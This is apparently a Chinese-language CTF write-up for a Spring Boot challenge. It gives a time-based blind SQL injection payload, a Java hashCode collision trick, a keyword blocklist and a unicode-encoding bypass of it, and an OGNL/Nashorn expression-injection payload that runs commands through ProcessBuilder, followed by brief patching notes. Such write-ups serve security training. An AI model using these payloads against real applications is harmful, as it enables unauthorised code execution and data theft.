在现场,没做出来,比完赛在动车上做的,有些点写的可能不是很好,请谅解
Attack
题目是一个 Spring Boot 框架,结合题目提示和题目界面,猜测要让我们注出登陆用户名,然后进行下一步操作
第一个漏洞点是 SQL 注入
1 | public String getUserByName(String name){ |
简单的闭合,但是过滤了大多数查询语句,select、insert、啥的,在 FilterUtil 类里可以看到
但唯独没有过滤 sleep,猜测是延时盲注,报错不太可能,他这一报服务就 500,所以直接盲注构造 SQL 语句写个脚本跑一下就完事了
1 | admin')&&/**/sleep(2*(ascii(substr(database(),"+str(i)+",1))/**/REGEXP/**/"+str(j)+"))# |
这里注出来一个用户名,为 C1S3N_HUa_D_N_41NaL!,登陆进去后跳到一个留言板,在 63 行有一个 hashCode 比较漏洞,和虎符那题一摸一样,所以我们只要构造一个简单的式子让他们内容不相等但 hashCode 相等即可
参考这个式子,自己逆推一下即可
1 | s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1] |
比如给了 0306,计算后的 hash 就是 1\x1406
然后填上 message 和 name 就可以留言了,这里有个很恶心的点,就是服务报错的话会重新更新一个 secret 值
然后就是表达式利用了,mybatis 可以直接执行 ognl 表达式,具体利用方法可以看这篇文章,[OGNL 表达式注入漏洞总结 Mi1k7ea ]
1 | ${@[类全名(包括包路径)]@[方法名|值名]} |
可以先构造个延时看看存不存在表达式注入
1 | @[email protected](2) |
但是这里过滤了一大堆 java 语句,这个很好绕过直接 unicode 全编码就完事了,这样 keyFilter 就没有用了
“framework”,”getClass”,”ClassLoader”,”update”,”values”,”set”,”ProcessBuilder”,”thymeleaf”,”mybatis”,”wrapAsAPI”,”getRuntime”,”exec”,”getStaticModels”,”spring”, “Runtime”,”select”,”java”,”WHERE”,”delete”, “drop”, “truncate”,”invoke”,”Manage”,”script”, “gson”,”mysql”,”org”,”Gson”,”com”,”lang”
1 | ${\u0040\u006A\u0061\u0076\u0061\u002E\u0075\u0074\u0069\u006C\u002E\u0063\u006F\u006E\u0063\u0075\u0072\u0072\u0065\u006E\u0074\u002E\u0054\u0069\u006D\u0065\u0055\u006E\u0069\u0074\u0040\u0053\u0045\u0043\u004F\u004E\u0044\u0053\u002E\u0073\u006C\u0065\u0065\u0070\u0028\u0032\u0029} |
然后 rce 读根目录下的 flag 即可,注意,这里版本是 jdk1.8,20 版本执行下面语句好像会报空指针异常
1 | ${new+javax.script.ScriptEngineManager().getEngineByName("nashorn").eval('(new+java.io.BufferedReader(new+java.io.InputStreamReader(new+java.lang.ProcessBuilder("calc").start().getInputStream(),+"GBK")).readLine())')} |
Fix
因为题目是用 Spring Boot 搭的,所以很好打包,基本上直接替换即可,然后传个 war 包,打包有两种解决办法,一种是解压替换 war 包里边的字节码文件(要手动编译),另外一种是 IDEA 的 Build Artifacts,两种都能顺利 patch 成功,看个人习惯()
这题很好 fix,sql 就过滤个 sleep,表达式就过滤个 eval,实在不行就上个通防,都可以过的
1 | #!/bin/sh |